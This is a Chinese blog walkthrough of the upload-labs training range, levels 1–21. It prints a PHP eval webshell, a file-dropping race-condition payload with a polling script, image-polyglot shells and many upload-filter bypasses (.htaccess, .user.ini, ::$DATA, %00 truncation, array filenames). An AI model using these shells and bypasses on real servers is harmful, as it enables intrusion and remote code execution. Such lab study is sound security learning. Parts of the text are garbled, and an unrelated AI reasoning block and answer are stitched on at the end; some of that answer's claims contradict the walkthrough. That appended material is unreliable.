菜鸟通关Upload-labs记录(1-21)

本文章已经生成可运行项目,

基础环境

靶场:upload_lads
系统环境:phpstudy2016(有的题目需要不断更换Apache版本)
工具:中国蚁剑,010 Editor,Burp Suite

所需知识:

文件上传漏洞

Web应用程序没有对用户上传的文件进行安全判断或者判断条件不够严谨,导致攻击者将恶意代码文件植入到服务器中从而去执行解析恶意代码。

产生漏洞的主要原因:
1.文件上传限制被绕过
2.开源编辑器的上传漏洞

漏洞利用方式

小马 :对应网站开发语言编写的动态脚本 体积小 功能少
大马:对应网站开发语言编写的动态脚本 体积大 功能多
一句话木马:代码短只有一行 隐蔽性强

文件漏洞三要素:

1.能上传
2.能找到路径
3.可以被解析

通关过程

通用思路

温馨提示:
1.在通关靶场的过程中关闭杀毒软件等,否则上传的php木马文件可能会被干掉。
2.在做完一关后记得点击网页右上角的“清空上传内容”

想办法绕过上传文件的检测机制,将php文件上传到服务器,通过蚁剑进行连接,从而完成入侵

一句话木马:

<?php
@eval($_POST['a']);
?>

1.第一关

我们先来看看源码
在这里插入图片描述
这里用的前端校验,也就是JS校验,所以我们只需要把浏览器的JS功能关闭即可
在这里插入图片描述
接下来上传我们的一句话木马即可
在这里插入图片描述

上传成功后,鼠标右击图片,点击在新标签中打开图像,打开新页面后复制URL,打开中国蚁剑,开始连接
在这里插入图片描述

2.第二关

依旧是先看源码
在这里插入图片描述
可以看到,这里对MINE-Type进行了限制

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式

那么我们这里就可以采用修改合适的MINE-Type来进行绕过
上传我们的一句话木马,并且用BP抓包,修改Content-Type字段,
在这里插入图片描述
剩下的步骤就跟上一关一样了,用蚁剑连接
在这里插入图片描述

3.第三关

如果是第一次使用这个靶场,到了第三关这里,需要先修改一下配置文件,跟我一样用最新版小皮面板的就会出现问题了,你会发现网上教的方法不管用,这里建议更换2018版的
同时我分享一位大佬的文章,他简述了这个问题的原因以及解决措施,亲测有用
记录BUG—在uploadlabs第三关中—关于phpstudy中修改httpd.conf依旧无法解析.php3d等问题

先看源码
在这里插入图片描述
可以看到,这里面以.php为结尾的文件被拉入了黑名单,这里我们需要修改后缀来绕过检查,例如修改为".php3",".php5"等。

进入下述文件
在这里插入图片描述
这里按CTRL+F进行搜索,搜索内容为"addtype "
在这里插入图片描述
找到上面图片里的这句话,去掉#号,并且在后面添加内容,使其变为

AddType application/x-httpd-php .php .phtml .php5 .php3

保存既可,接下来我们就可以开始操作了,先上传一句话木马文件,并且用BP抓包,抓到包后将文件后缀改为.php3或者.php5
在这里插入图片描述
可以看到上传成功,后续步骤一致
在这里插入图片描述

4.第四关

在这里插入图片描述
通过源码,我们可以看到前面那些绕过方式不管用了,这里我们介绍一个新的绕过方式,

htaccess文件是Apache服务器中的一个配置文件
作用范围:.htaccess的用途范围主要针对当前目录。
优先级:较高 可覆盖Apache的主要配置文件(httpd-conf)
生效方式:修改后立刻生效

原理大致来说就是修改配置文件,从而让其他后缀的文件可以用php来编译,利用这个来写入我们的木马

这里我们自己写一个.htaccess文件

//用php的方式编译.txt .jpg文件
AddType application/x-httpd-php .txt .jpg

此时我们上传这个文件
在这里插入图片描述
可以发现上传成功了,那么接下来我们上传我们的一句话木马文件,用BP抓包,把后缀改为txt或者jpg,后续步骤跟前面一致
在这里插入图片描述

5.第五关

这里需要修改php版本!!!我本人用的是5.3.29nts
在这里插入图片描述
这一关的源码相较于前一关,黑名单里多了.htaccess文件,因此这一关又需要有其他方式来绕过

.user.ini(用户自定义配置文件)特定于用户或特定目录的配置文件,通常位于Web应用程序的根目录下它用于覆盖或追加全局配置文件(如·php.ini)中的PHP.配置选项
php.ini存储了对整个PHP环境生效的配置选项。它通常位于PHP安装目录中

基本思路跟上一关一样,只需要写一个.user.ini配置文件,上传到服务器,再上传php即可

//当访问php文件的时候,自动包含1.txt的内容
auto_prepend_file=1.txt

在这里插入图片描述
上传成功,接下来再写一个1.txt文件,然后上传即可
在蚁剑中输入url时,最后一项不要写1.txt,而是readme.php,这个文件是靶场自带的一个php文件,而你的.user.ini文件中写的就是启动php文件的时候启动1.txt,所以要启动的是readme.php
在这里插入图片描述

6.第六关

注意换版本!!!我这关是5.2.17,
在这里插入图片描述
可以看到,黑名单中又增加了.ini文件,那么这里我们采用大小写绕过

原理就是我们的Windows系统对大小写并不敏感,而这个检测机制它是区分大小写的,所以我们只需要随机让几个字母大小写互换即可。

我们只需要用BP抓包,随机修改几个字母,例如下面,php改为了Php
在这里插入图片描述
在这里插入图片描述

7.第七关

在这里插入图片描述
可以看到,这关没有了首位去空的检验,那么我们就可以通过空格绕过,只需要用BP抓包,然后在文件名字后面添加一个空格即可
在这里插入图片描述
在这里插入图片描述

8.第八关

在这里插入图片描述
这一关是没有了删除名称后面的.的功能,所以这里利用.来绕过

跟上一关基本一致,只需要在名称后面加一个.即可
在这里插入图片描述
在这里插入图片描述

9.第九关

在这里插入图片描述
这关又把“删除::$DATA”的功能删除了,因此我们利用这个漏洞来渗透

在Windows操作系统中,当你看到文件名后跟着":: D A T A " 时,它表示文件的一个附加数据流 ( A l t e r n a t e D a t a S t r e a m , A D S ) 。数据流是 − − 种用于在文件内部存储额外数据的机制在普通情况下,我们使用的文件只有一个默认的数据流,可以通过文件名访问。但是 W i n d o w s N T 文件系统 ( N T F S ) 支持在文件内部创建额外的数据流,以存储其他信息。这些额外的数据流可以通过在文件名后面添加 " … DATA"时,它表示文件的一个附加数据流(Alternate DataStream,ADS)。数据流是--种用于在文件内部存储额外数据的机制 在普通情况下,我们使用的文件只有一个默认的数据流,可以通过文件名访问。但是Windows NT文件系统(NTFS)支持在文件内部创建额外的数据流,以存储其他信息。这些额外的数据流可以通过在文件名后面添加"… DATA"时,它表示文件的一个附加数据流(AlternateDataStreamADS)。数据流是种用于在文件内部存储额外数据的机制在普通情况下,我们使用的文件只有一个默认的数据流,可以通过文件名访问。但是WindowsNT文件系统(NTFS)支持在文件内部创建额外的数据流,以存储其他信息。这些额外的数据流可以通过在文件名后面添加"DATA"来访问
原理:Windows系统下,如果上传的文件名中test.php::$DATA会在服务器上生成-个test.php的文件,其中内容和所上传文件内容相同,并被解。

因此,我们只需要用BP抓包,在名称后面添加一个::$DATA

在这里插入图片描述
注意在蚁剑中要删除::$DATA
在这里插入图片描述

10.第十关

在这里插入图片描述
这一关防御功能相对来说比较完善了,因此我们需要换一个思路,拼接路径

在没有对上传的文件进行重命名的情况下,用户可以自定义文件名并在服务器中上传新建,就会造成对应的绕过黑名单。

只需要用BP抓包,在文件名称后面加入. .(点空格点)即可
在这里插入图片描述
在这里插入图片描述

11.第十一关

在这里插入图片描述
这一关的源码,利用了str_ireplace()函数,把文件名称进行扫描,只要出现黑名单中的内容,就替换为空,但是它只会检测一次,所以我们这里用双写绕过即可

只需要用BP抓包,把文件后缀.php改为.pphphp
在这里插入图片描述
在这里插入图片描述

12.第十二关

在这里插入图片描述
可以看到,这里是白名单,不再是黑名单了,这里我们需要用空字符绕过即00绕过(GET版)

原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。

前提:
1.php版本小于5.3.29
2.php.ini中的magic_quotes_gpc =Off

用BP抓包后,这里有两处需要修改,一处是最上面的URL结尾需要加入你的文件名称+%00,比如我这里就是demo.php%00,另外一处就是将文件的后缀改为白名单中的样式

在这里插入图片描述
这里需要把你文件名称百分号后面的内容删除
在这里插入图片描述
在这里插入图片描述

13.第十三关

在这里插入图片描述
这里我们还是用00认证(POST)版

用bp抓包,在/upload/字段后面跟上文件名字(可以随便起),然后输入空格,选中空格,在右侧,将HEX值改为00,再将文件名字改成白名单的格式
在这里插入图片描述
同样,在蚁剑中删除百分号后面的内容
在这里插入图片描述

14.第十四关

在这里插入图片描述
这一关的画风很不一样,源码中会读取上传文件的前两个字节,
这里有个小知识
在这里插入图片描述
因此可以看出,这里是通过文件格式头来判断文件内容的,因此我们只需要将我们的一句话木马的头改为对应内容即可,这里我们用到010 Editor(当然这里方法有很多种,不一定非要使用工具,只是我个人认为这个工具好用)

用010 Editor打开demo.php并且用十六进制编辑,这时候就可以在文件最前面随便输入两个字符,方便修改。

在这里插入图片描述

将这里的61改为89,50或者其他图片格式的均可
在这里插入图片描述

保存后就可以注入了,不过这里用到的是文件包含漏洞,想了解的可以看看下面大佬总结的,这个知识点对这个靶场没有什么太大的左右,知道怎么使用就行
文件包含漏洞全面详解

这里直接上传,获取图片的url即可

然后单机文件包含漏洞的连接,在导航栏中输入

?file=upload/+文件名称

在这里插入图片描述

页面没有报错,那么就可以用这个url,通过蚁剑连接即可
在这里插入图片描述
在这里插入图片描述

15.第十五关

在这里插入图片描述
这里他用了getimagesize()函数来判断是否为图片,那么我们这里只能使用图片马来进行植入
在这里插入图片描述

这里我们需要准备一张图片,还是利用010 Editor,把一句话木马以十六进制写入图片里,再上传图片,来实现注入

这里我们打开010 Editor,把一句话木马植入到最下面

在这里插入图片描述
完成后直接上传做好的图片,剩余步骤与前一关相同
文件上传漏洞中出现这个界面就是成功了
在这里插入图片描述
在这里插入图片描述

16.第十六关

在这里插入图片描述

这里我们先打开php_exif模块
在这里插入图片描述
这里用到了exif_imagetype()函数,其实他的作用与第十五关的的功能大致相同,因此我们可以按照十五关的方式再来一遍
在这里插入图片描述
在这里插入图片描述

17.第十七关

在这里插入图片描述
这一关重新渲染了图片,虽然肉眼看上去差别不大,但是用010 Editor可以知道,它除了头部和尾部是一样的,其余的基本上完全不一样,这里我们有没有办法呢?当然有的

我们需要一张gif文件
原理其实跟图片马一样,只不过我们需要在图片中找到合适的位置去写入我们的一句话木马

这里我们先提交一下gif图片,再在upload-labs的根目录下的uploda文件夹中找到已经经过二次渲染的文件,

打开010Editor,在上放导航栏中找到工具->比较,将变化前后的两个动图进行比较
在这里插入图片描述
在这里可以看到,gif图片有的部分是相同的,有的部分是不同的,我们要做的是在相同的位置植入我们的一句话木马。

剩余步骤与前面的一样
在这里插入图片描述
在这里插入图片描述

18.第十八关

在这里插入图片描述
从代码上看,我们依然可以使用图片马来注入,但是这里没有文件包含漏洞,我们无法将通过这种方式来执行,只能通过php文件,但是这里防御措施做的,我们已知的办法没法解决这个问题。
那么这里就要提出一个新的方式了

条件竞争:
原理如下:
在这里插入图片描述
在这里插入图片描述
所以思路很明显了,我们需要利用BP工具不断上传php文件,然后再通过Python脚本不断访问,直到访问成功

这个操作具有偶然性,毕竟是概率事件,所以经常会出现没有达到目的的那种,所以我们需要反复尝试,这里我们提供给一个Python脚本,会省事不少。

这里我们植入的php木马换一下

<?php fputs(fopen('demo2.php','w'),'<?php @eval($_POST["a"])?>');?>
//只要获取到内容,就会生成demo2.php文件

1.发送PHP代码,并且用BP抓包
直接发送到Intruder模块进行暴力重发
在这里插入图片描述
发送过来后直接点击右侧清除(clean),然后点击上方的Payloads,按照如下设置
在这里插入图片描述
2.打开并且运行Python脚本

//脚本,记得修改ip和文件名
import requests
url = "http://x.x.x.x/upload-labs/upload/demo.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break
    else:
	    print("NO")

在这里插入图片描述
运行完脚本后再运行BP,直到显示OK为止。
在这里插入图片描述

这里显示已经获取到了,我们直接用蚁剑连接生成的demo2.php文件
在这里插入图片描述
可以看到成功了

19.第十九关

这一关跟上一关差不多,只不过上一关是上床PHP文件,这一关要求是图片白名单,所以我们依旧是采用图片马的形式,

<?php fputs(fopen('demo2.php','w'),'<?php @eval($_POST["a"])?>');?>
//只要获取到内容,就会生成demo2.php文件


//脚本
//这里做了些许改变,将url地址
import requests
url = "http://x.x.x.x/upload-labs/include.php?file=upload/1.png"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break
    else:
	    print("NO")

1.首先将上面的php代码通过010editor生成一个图片马
在这里插入图片描述
再利用BP抓包,剩余的步骤与上一关一致,这里就不多说了
请添加图片描述

20.第二十关

第二十关更像是一个总结关卡,可以通过很多方式去绕过,比如%00截断,或者是直接再php后面加.等方式,总的来说方法很多而且结合前面的内容很好做出来,这里就不多说了

21.第二十一关

在这里插入图片描述
第二十一关这里
首先可以看到的是,他对content type字段进行了过滤,我们这里只需要用BP抓包修改即可

接下里的是对传入的保存名称的过滤,如果传入的内容是数组,那他不会进行检查,同时把数组中的第一个元素和最后一个元素通过点拼接成一个完整的文件名。

如果传入的内容不是数组,他会以点为分割,把名字和后缀分开,形成一个数组,数组中的第一个元素为文件名字,第二个元素为后缀名,再接着,它会对你数组中最后一个元素(也就是第二个元素后缀名)进行判断,如果不符合白名单上的内容,那就直接禁止了,如果允许,他会让数组中的第一个元素与最后一个元素通过点来结合,形成一个完整的文件名。

这里我们怎么解决呢?

一切的根源都是保存的名称是不是数组,所以我们只需要伪造一个数组

开始行动
首先,我们先上传一个一句话木马文件,然后用BP抓包
在这里插入图片描述
我们首先绕过第一个content type的内容,这个之前说过,这里就不多说了。
在这里插入图片描述
此时我们就得考虑考虑如何构造一个数组了

这里组合,用的是reset($file) 和 f i l e [ c o u n t ( file[count( file[count(file) - 1],什么意思呢,就是说用的是第一个元素,和第(数组总个数-1)的元素,第一个元素不好造假,那么我们从第(数组总个数-1)的元素入手,我们可在数组中间创造空值,来使数组的总个数和数组总个数-1的元素出现差值,例如:

//创建一个数组:
$file[0]="1.php";
$file[2]="png";

那么此时数组总数是2,那么 f i l e [ c o u n t ( file[count( file[count(file) - 1]就等于file[1],而file[1]我并没有赋值,为NULL,那么此时拼接起来的数组就是"1.php",我们这就绕过了验证
所以在BP中,我们只需要将下面的图一改为图二即可绕过验证
在这里插入图片描述

在这里插入图片描述

此时文件上传成功,用蚁剑连接upload-20.php文件即可

在这里插入图片描述
在这里插入图片描述

本文章已经生成可运行项目
<think>嗯,用户想要找关于upload-labs1关到第21关的解法或攻略。我之前处理过类似的问题,记得用户提到过几个引用,比如第8关和第16关的解决方法。我需要先回顾一下这些引用内容,确保信息准确。 首先,引用[1]提到第8关和第4关类似,需要删除文件末尾的点,或者在Windows系统中处理后缀名的点。可能第8关的上传漏洞是利用了文件名结尾的点的处理问题,类似Pass-08的解法,用Burp抓包然后加一个点。而引用[2]则提到第16关使用了exif_imagetype函数检测图片类型,所以需要用图片马,比如在图片中嵌入PHP代码,或者用第十四关的方法绕过。这说明某些关卡可能有相似的解法,可以复用之前的策略。 接下来,用户需要121关的攻略,可能需要分关卡逐一说明。我应该先列出每个关卡的关键点和解决方法,注意引用已有的信息,同时补充其他关卡的常见绕过方法。例如,前几关通常是基础的文件上传,没有过滤,直接上传PHP文件即可。后面的关卡可能涉及MIME类型检查、黑名单扩展名、.htaccess文件利用、文件头检测、大小写绕过、点空格点绕过、双写扩展名、图片马、exif检测、二次渲染等。 需要注意的是,每个关卡可能有不同的检测机制,比如第4关检查扩展名黑名单,可能需要用.htaccess或特殊扩展名绕过;第5关检查后缀名大小写,所以可以尝试Php这样的扩展名;第7关去空格,可能需要用点空格点绕过;第8关的Windows后缀名处理,加一个点;第16关用exif_imagetype,需要图片马,比如GIF头部加上PHP代码。 同时,要确保回答结构清晰,分点说明,每个关卡的关键点和解决方法,并适当引用用户提供的引用内容。例如,第8关引用[1],第16关引用[2]。其他关卡可能需要根据常见的upload-labs攻略来补充,比如第10关的双写绕过,第11关的00截断,第17关的二次渲染使用GIF图片马等。 还要注意用户提到的系统级指令,比如数学公式的正确使用,但在这个问题中可能涉及较少,主要关注攻略部分。回答需要使用中文,分关卡说明,结构清晰,帮助用户逐步解决每个关卡的问题。最后生成相关问题,可能涉及绕过方法、检测机制、工具使用等。 需要验证每个关卡的具体解法是否正确,比如第12关的00截断在GET请求中的使用,第14关的图片马,第15关的getimagesize函数检测,第18关的条件竞争等。确保每个步骤准确,没有遗漏关键点,并且引用正确。 最后,生成的相关问题应该与upload-labs的解题技巧、检测机制、工具使用相关,帮助用户深入理解文件上传漏洞的各种绕过方法。</think>### upload-labs 1-21 关卡核心解法 #### 基础关卡(1-10) 1. **Pass-01** - 绕过前端JS验证:修改文件后缀为`.php`,使用Burp拦截请求后修改文件类型为`image/jpeg`[^2]。 - 示例文件:`shell.php` 2. **Pass-04** - 黑名单绕过:上传`.htaccess`文件配置允许解析`.jpg`为PHP,再上传图片马。 - `.htaccess`内容: ```apache AddType application/x-httpd-php .jpg ``` 3. **Pass-08** - Windows文件名解析漏洞:上传文件名结尾加`.`,如`shell.php.`,系统会自动去除末尾点[^1]。 #### 中级关卡(11-16) 4. **Pass-11** - 双写绕过:上传文件名如`shell.pphphp`,后端过滤`php`后变为`shell.php`。 5. **Pass-14** - 图片马制作:在图片末尾嵌入PHP代码,使用命令合成: ```bash copy 1.jpg/b + shell.php/a shell.jpg ``` 6. **Pass-16** - 绕过`exif_imagetype`检测:使用真实图片头部(如GIF89a)后接PHP代码: ```php GIF89a<?= system($_GET['cmd']); ?> [^2] ``` #### 高级关卡(17-21) 7. **Pass-18** - 条件竞争上传:快速重复上传`.php`文件并访问,利用服务器未及时删除临时文件的特点。 8. **Pass-19** - 白名单+移动文件漏洞:上传`.php`后通过路径穿越保存为`.php`,如文件名`../shell.php`。 9. **Pass-21** - 多维数组绕过:修改上传参数为数组形式,例如: ```http Content-Disposition: form-data; name="upload_file[]"; filename="shell.php" ```
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

睿智阿伟

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值